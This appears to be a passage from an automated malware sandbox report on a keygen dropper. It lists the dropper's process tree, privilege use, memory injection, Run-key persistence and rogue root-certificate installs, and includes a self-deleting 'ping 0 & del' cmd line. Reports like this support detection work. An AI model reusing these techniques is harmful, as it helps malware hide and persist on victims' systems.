Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = ae2f657fc53cd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

filee.exeuagcStt9tQ.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	filee.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	filee.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD	uagcStt9tQ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576	uagcStt9tQ.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXE

pid process

5492 PING.EXE
5640 PING.EXE
5760 PING.EXE

pid	process
5492	PING.EXE
5640	PING.EXE
5760	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

rundll32.exesvchost.exeultramediaburner.tmpCygushehybae.exe

pid	process
2380	rundll32.exe
2380	rundll32.exe
4020	svchost.exe
4020	svchost.exe
2196	ultramediaburner.tmp
2196	ultramediaburner.tmp
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe
2816	Cygushehybae.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2988

pid	process
2988

Suspicious behavior: MapViewOfSection 60 IoCs

Processes:

toolspab1.exeMicrosoftEdgeCP.exeexplorer.exeexplorer.exeexplorer.execscjwiaMicrosoftEdgeCP.exe

pid	process
4284	toolspab1.exe
3692	MicrosoftEdgeCP.exe
3692	MicrosoftEdgeCP.exe
2988
2988
2988
2988
2988
2988
2988
2988
5548	explorer.exe
5548	explorer.exe
2988
2988
2988
2988
4728	explorer.exe
4728	explorer.exe
2988
2988
2988
2988
2852	explorer.exe
2852	explorer.exe
2988
2988
2228	cscjwia
5548	explorer.exe
5548	explorer.exe
4728	explorer.exe
4728	explorer.exe
4728	explorer.exe
4728	explorer.exe
2852	explorer.exe
2852	explorer.exe
2852	explorer.exe
2852	explorer.exe
5548	explorer.exe
5548	explorer.exe
408	MicrosoftEdgeCP.exe
408	MicrosoftEdgeCP.exe
5548	explorer.exe
5548	explorer.exe
2852	explorer.exe
2852	explorer.exe
4728	explorer.exe
4728	explorer.exe
5548	explorer.exe
5548	explorer.exe
2852	explorer.exe
2852	explorer.exe
4728	explorer.exe
4728	explorer.exe
4728	explorer.exe
4728	explorer.exe
5548	explorer.exe
5548	explorer.exe
2852	explorer.exe
2852	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

JoSetp.exerundll32.exesvchost.exeUltra.exesvchost.exeGicenihaefi.exeCygushehybae.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2168	JoSetp.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeTcbPrivilege	4020	svchost.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	2380	rundll32.exe
Token: SeDebugPrivilege	3588	Ultra.exe
Token: SeAuditPrivilege	2512	svchost.exe
Token: SeDebugPrivilege	3828	Gicenihaefi.exe
Token: SeDebugPrivilege	2816	Cygushehybae.exe
Token: SeAssignPrimaryTokenPrivilege	2728	svchost.exe
Token: SeIncreaseQuotaPrivilege	2728	svchost.exe
Token: SeSecurityPrivilege	2728	svchost.exe
Token: SeTakeOwnershipPrivilege	2728	svchost.exe
Token: SeLoadDriverPrivilege	2728	svchost.exe
Token: SeSystemtimePrivilege	2728	svchost.exe
Token: SeBackupPrivilege	2728	svchost.exe
Token: SeRestorePrivilege	2728	svchost.exe
Token: SeShutdownPrivilege	2728	svchost.exe
Token: SeSystemEnvironmentPrivilege	2728	svchost.exe
Token: SeUndockPrivilege	2728	svchost.exe
Token: SeManageVolumePrivilege	2728	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2728	svchost.exe
Token: SeIncreaseQuotaPrivilege	2728	svchost.exe
Token: SeSecurityPrivilege	2728	svchost.exe
Token: SeTakeOwnershipPrivilege	2728	svchost.exe
Token: SeLoadDriverPrivilege	2728	svchost.exe
Token: SeSystemtimePrivilege	2728	svchost.exe
Token: SeBackupPrivilege	2728	svchost.exe
Token: SeRestorePrivilege	2728	svchost.exe
Token: SeShutdownPrivilege	2728	svchost.exe
Token: SeSystemEnvironmentPrivilege	2728	svchost.exe
Token: SeUndockPrivilege	2728	svchost.exe
Token: SeManageVolumePrivilege	2728	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2728	svchost.exe
Token: SeIncreaseQuotaPrivilege	2728	svchost.exe
Token: SeSecurityPrivilege	2728	svchost.exe
Token: SeTakeOwnershipPrivilege	2728	svchost.exe
Token: SeLoadDriverPrivilege	2728	svchost.exe
Token: SeSystemtimePrivilege	2728	svchost.exe
Token: SeBackupPrivilege	2728	svchost.exe
Token: SeRestorePrivilege	2728	svchost.exe
Token: SeShutdownPrivilege	2728	svchost.exe
Token: SeSystemEnvironmentPrivilege	2728	svchost.exe
Token: SeUndockPrivilege	2728	svchost.exe
Token: SeManageVolumePrivilege	2728	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2728	svchost.exe
Token: SeIncreaseQuotaPrivilege	2728	svchost.exe
Token: SeSecurityPrivilege	2728	svchost.exe
Token: SeTakeOwnershipPrivilege	2728	svchost.exe
Token: SeLoadDriverPrivilege	2728	svchost.exe
Token: SeSystemtimePrivilege	2728	svchost.exe
Token: SeBackupPrivilege	2728	svchost.exe
Token: SeRestorePrivilege	2728	svchost.exe
Token: SeShutdownPrivilege	2728	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

ultramediaburner.tmp

pid process

2196 ultramediaburner.tmp

pid	process
2196	ultramediaburner.tmp

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

xiuhuali.exeMicrosoftEdge.exegoogle-game.exeMicrosoftEdgeCP.exeInstallUtil.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

pid	process
3172	xiuhuali.exe
3172	xiuhuali.exe
5196	MicrosoftEdge.exe
4184	google-game.exe
4184	google-game.exe
3692	MicrosoftEdgeCP.exe
3692	MicrosoftEdgeCP.exe
6020	InstallUtil.exe
6020	InstallUtil.exe
800	MicrosoftEdge.exe
408	MicrosoftEdgeCP.exe
408	MicrosoftEdgeCP.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

2988

pid	process
2988

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

keygen-step-4.exexiuhuali.exerundll32.exesvchost.exeInstall.exeInstall.tmpUltra.exeultramediaburner.exeultramediaburner.tmpCygushehybae.execmd.execmd.exeskipper.execmd.exe

description	pid	process	target process
PID 572 wrote to memory of 3172	572	keygen-step-4.exe	xiuhuali.exe
PID 572 wrote to memory of 3172	572	keygen-step-4.exe	xiuhuali.exe
PID 572 wrote to memory of 3172	572	keygen-step-4.exe	xiuhuali.exe
PID 3172 wrote to memory of 2380	3172	xiuhuali.exe	rundll32.exe
PID 3172 wrote to memory of 2380	3172	xiuhuali.exe	rundll32.exe
PID 3172 wrote to memory of 2380	3172	xiuhuali.exe	rundll32.exe
PID 572 wrote to memory of 2168	572	keygen-step-4.exe	JoSetp.exe
PID 572 wrote to memory of 2168	572	keygen-step-4.exe	JoSetp.exe
PID 2380 wrote to memory of 4020	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 2696	2380	rundll32.exe	svchost.exe
PID 4020 wrote to memory of 1580	4020	svchost.exe	svchost.exe
PID 4020 wrote to memory of 1580	4020	svchost.exe	svchost.exe
PID 4020 wrote to memory of 1580	4020	svchost.exe	svchost.exe
PID 2380 wrote to memory of 1016	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 2520	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 2512	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 1088	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 1000	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 1392	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 1888	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 1160	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 1300	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 2728	2380	rundll32.exe	svchost.exe
PID 2380 wrote to memory of 2748	2380	rundll32.exe	svchost.exe
PID 572 wrote to memory of 3864	572	keygen-step-4.exe	Install.exe
PID 572 wrote to memory of 3864	572	keygen-step-4.exe	Install.exe
PID 572 wrote to memory of 3864	572	keygen-step-4.exe	Install.exe
PID 3864 wrote to memory of 3172	3864	Install.exe	Install.tmp
PID 3864 wrote to memory of 3172	3864	Install.exe	Install.tmp
PID 3864 wrote to memory of 3172	3864	Install.exe	Install.tmp
PID 3172 wrote to memory of 3588	3172	Install.tmp	Ultra.exe
PID 3172 wrote to memory of 3588	3172	Install.tmp	Ultra.exe
PID 3588 wrote to memory of 2976	3588	Ultra.exe	ultramediaburner.exe
PID 3588 wrote to memory of 2976	3588	Ultra.exe	ultramediaburner.exe
PID 3588 wrote to memory of 2976	3588	Ultra.exe	ultramediaburner.exe
PID 2976 wrote to memory of 2196	2976	ultramediaburner.exe	ultramediaburner.tmp
PID 2976 wrote to memory of 2196	2976	ultramediaburner.exe	ultramediaburner.tmp
PID 2976 wrote to memory of 2196	2976	ultramediaburner.exe	ultramediaburner.tmp
PID 3588 wrote to memory of 3828	3588	Ultra.exe	Gicenihaefi.exe
PID 3588 wrote to memory of 3828	3588	Ultra.exe	Gicenihaefi.exe
PID 2196 wrote to memory of 3748	2196	ultramediaburner.tmp	UltraMediaBurner.exe
PID 2196 wrote to memory of 3748	2196	ultramediaburner.tmp	UltraMediaBurner.exe
PID 3588 wrote to memory of 2816	3588	Ultra.exe	Cygushehybae.exe
PID 3588 wrote to memory of 2816	3588	Ultra.exe	Cygushehybae.exe
PID 572 wrote to memory of 4176	572	keygen-step-4.exe	filee.exe
PID 572 wrote to memory of 4176	572	keygen-step-4.exe	filee.exe
PID 572 wrote to memory of 4176	572	keygen-step-4.exe	filee.exe
PID 2816 wrote to memory of 4980	2816	Cygushehybae.exe	cmd.exe
PID 2816 wrote to memory of 4980	2816	Cygushehybae.exe	cmd.exe
PID 4980 wrote to memory of 4116	4980	cmd.exe	skipper.exe
PID 4980 wrote to memory of 4116	4980	cmd.exe	skipper.exe
PID 4980 wrote to memory of 4116	4980	cmd.exe	skipper.exe
PID 2816 wrote to memory of 3172	2816	Cygushehybae.exe	cmd.exe
PID 2816 wrote to memory of 3172	2816	Cygushehybae.exe	cmd.exe
PID 3172 wrote to memory of 5236	3172	cmd.exe	001.exe
PID 3172 wrote to memory of 5236	3172	cmd.exe	001.exe
PID 3172 wrote to memory of 5236	3172	cmd.exe	001.exe
PID 2816 wrote to memory of 5580	2816	Cygushehybae.exe	cmd.exe
PID 2816 wrote to memory of 5580	2816	Cygushehybae.exe	cmd.exe
PID 4116 wrote to memory of 5684	4116	skipper.exe	1233697197.exe
PID 4116 wrote to memory of 5684	4116	skipper.exe	1233697197.exe
PID 4116 wrote to memory of 5684	4116	skipper.exe	1233697197.exe
PID 5580 wrote to memory of 5764	5580	cmd.exe	gpooe.exe
PID 5580 wrote to memory of 5764	5580	cmd.exe	gpooe.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1016

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1000

C:\Users\Admin\AppData\Roaming\cscjwia
C:\Users\Admin\AppData\Roaming\cscjwia
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5524

C:\Users\Admin\AppData\Roaming\cscjwia
C:\Users\Admin\AppData\Roaming\cscjwia
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2228

C:\Users\Admin\AppData\Roaming\cscjwia
C:\Users\Admin\AppData\Roaming\cscjwia
2⤵
PID:3904

C:\Users\Admin\AppData\Roaming\cscjwia
C:\Users\Admin\AppData\Roaming\cscjwia
3⤵
PID:4668

C:\Users\Admin\AppData\Roaming\cscjwia
C:\Users\Admin\AppData\Roaming\cscjwia
2⤵
PID:3344

C:\Users\Admin\AppData\Roaming\cscjwia
C:\Users\Admin\AppData\Roaming\cscjwia
3⤵
PID:3648

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
- Modifies registry class
PID:1160

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1300

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1088

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2748

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2728

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2696

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2520

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2512

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1888

C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
"C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:572

C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3172

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
3⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2380

C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2168

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3864

C:\Users\Admin\AppData\Local\Temp\is-R4MSA.tmp\Install.tmp
"C:\Users\Admin\AppData\Local\Temp\is-R4MSA.tmp\Install.tmp" /SL5="$60032,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3172

C:\Users\Admin\AppData\Local\Temp\is-63R73.tmp\Ultra.exe
"C:\Users\Admin\AppData\Local\Temp\is-63R73.tmp\Ultra.exe" /S /UID=burnerch1
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3588

C:\Program Files\Windows NT\RQYCSXYDDC\ultramediaburner.exe
"C:\Program Files\Windows NT\RQYCSXYDDC\ultramediaburner.exe" /VERYSILENT
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2976

C:\Users\Admin\AppData\Local\Temp\is-GFSQK.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-GFSQK.tmp\ultramediaburner.tmp" /SL5="$4006C,281924,62464,C:\Program Files\Windows NT\RQYCSXYDDC\ultramediaburner.exe" /VERYSILENT
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2196

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
7⤵
- Executes dropped EXE
PID:3748

C:\Users\Admin\AppData\Local\Temp\88-45b71-a8f-6298c-e4056d2e48369\Gicenihaefi.exe
"C:\Users\Admin\AppData\Local\Temp\88-45b71-a8f-6298c-e4056d2e48369\Gicenihaefi.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:3828

C:\Users\Admin\AppData\Local\Temp\b7-ddde6-098-44d81-518b3c784e332\Cygushehybae.exe
"C:\Users\Admin\AppData\Local\Temp\b7-ddde6-098-44d81-518b3c784e332\Cygushehybae.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cc2u5qtp.vut\skipper.exe /s & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:4980

C:\Users\Admin\AppData\Local\Temp\cc2u5qtp.vut\skipper.exe
C:\Users\Admin\AppData\Local\Temp\cc2u5qtp.vut\skipper.exe /s
7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4116

C:\Users\Admin\AppData\Local\Temp\1233697197.exe
C:\Users\Admin\AppData\Local\Temp\1233697197.exe
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5684

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
9⤵
PID:5940

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
9⤵
PID:3988

C:\Users\Admin\AppData\Local\Temp\777730844.exe
C:\Users\Admin\AppData\Local\Temp\777730844.exe
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2228

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4780

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
9⤵
PID:5424

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\cc2u5qtp.vut\skipper.exe & exit
8⤵
PID:4768

C:\Windows\SysWOW64\PING.EXE
ping 0
9⤵
- Runs ping.exe
PID:5640

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\s5j2ypxl.2pc\001.exe & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:3172

C:\Users\Admin\AppData\Local\Temp\s5j2ypxl.2pc\001.exe
C:\Users\Admin\AppData\Local\Temp\s5j2ypxl.2pc\001.exe
7⤵
- Executes dropped EXE
PID:5236

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bcp13505.yk3\gpooe.exe & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:5580

C:\Users\Admin\AppData\Local\Temp\bcp13505.yk3\gpooe.exe
C:\Users\Admin\AppData\Local\Temp\bcp13505.yk3\gpooe.exe
7⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5764

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
